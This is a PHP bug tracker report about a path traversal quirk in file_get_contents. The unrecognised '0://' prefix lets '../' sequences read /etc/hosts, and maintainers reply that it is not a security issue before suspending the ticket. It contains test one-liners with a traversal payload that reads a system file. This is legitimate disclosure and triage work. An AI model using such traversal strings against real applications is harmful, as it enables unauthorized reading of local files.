php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Request #76834 Local File Inclusion through unrecognized protocol of file_get_contents
Submitted: 2018-09-02 06:51 UTC Modified: 2018-12-16 13:02 UTC
From: bgkn1260128 at gn dot iwasaki dot ac dot jp Assigned:
Status: Suspended Package: Streams related
PHP Version: 7.2.9 OS: Darwin MBP.local 17.6.0 Darwin K
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: bgkn1260128 at gn dot iwasaki dot ac dot jp
New email:
PHP Version: OS:

 

 [2018-09-02 06:51 UTC] bgkn1260128 at gn dot iwasaki dot ac dot jp
Description:
------------
When file_get_contents("file://google.com/"); is executed The following error is displayed:

Warning: file_get_contents(): remote host file access not supported, file://google.com/ in Command line code on line 1

Warning: file_get_contents(file://google.com/): failed to open stream: no suitable wrapper could be found in Command line code on line 1
This behavior is explained at the following URL and you can see that file:// does not support relative path specification:
https://bugs.php.net/bug.php?id=28820

However, file_get_contents("0://google.com/../../../../../etc/hosts"); is executed The following error is displayed:

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3  ee151a077be0
Although file:// does not support relative path specification in this operation, 0:// can read the local file with relative path specification.
It seems that pass traversal is made by bypassing the filter.

Test script:
---------------
php -r "file_get_contents('file://google.com/../../../../../etc/hosts');"
php -r "file_get_contents('0://google.com/../../../../../etc/hosts');"


Expected result:
----------------
If an unrecognized protocol is input as an argument of file_get_contents (), appropriate error handling is performed.

Actual result:
--------------
When file://google.com/../../../../../etc/hosts:

Warning: file_get_contents(): remote host file access not supported, file://google.com/../../../../../etc/hosts in Command line code on line 1

Warning: file_get_contents(file://google.com/../../../../../etc/hosts): failed to open stream: no suitable wrapper could be found in Command line code on line 1

When 0://google.com/../../../../../etc/hosts:
127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3  ee151a077be0

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-09-02 10:58 UTC] cmb@php.net
-Assigned To: +Assigned To: stas
 [2018-09-02 10:58 UTC] cmb@php.net
This doesn't look like a security issues, since a properly
configured open_basedir couldn't be bypassed.

However, it seems to me that failing to recognize the zero as
protocol is a bug.  At least the behavior is inconsistent with
realpath() which would return FALSE, even though
file_get_contents() could read the file.  The culprit would be in
php_stream_locate_url_wrapper() where a protocol is only
recognized if it is longer than a single char[1].  Changing to `n
>= 1` would solve the issue, but would break filenames like
C://Users/cmb/… on Windows which currently work like
C:/Users/cmb/….

Stas, could you please assess whether this is a security issue,
and if not assign back to me.

[1] <https://github.com/php/php-src/blob/php-7.3.0beta3/main/streams/streams.c#L1740>
 [2018-09-09 18:44 UTC] stas@php.net
-Type: Security +Type: Feature/Change Request -Assigned To: stas +Assigned To: cmb
 [2018-09-09 18:44 UTC] stas@php.net
Not a security issue - if you allow people to feed arbitrary paths into your code, you have arbitrary file access. 0:// is not a stream, so it treats it like a path.
 [2018-12-16 13:02 UTC] cmb@php.net
-Status: Assigned +Status: Suspended -Package: Unknown/Other Function +Package: Streams related -Assigned To: cmb +Assigned To:
 [2018-12-16 13:02 UTC] cmb@php.net
The suggested fix[1] is obviously controversial, so this issue may
need further discussion on internals@ and perhaps even the RFC
process[2].  Feel free to start it!  For the time being, I'm
suspending this ticket.

[1] <https://github.com/php/php-src/pull/3513>
[2] <http://wiki.php.net/rfc/howto>
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Dec 22 06:01:30 2024 UTC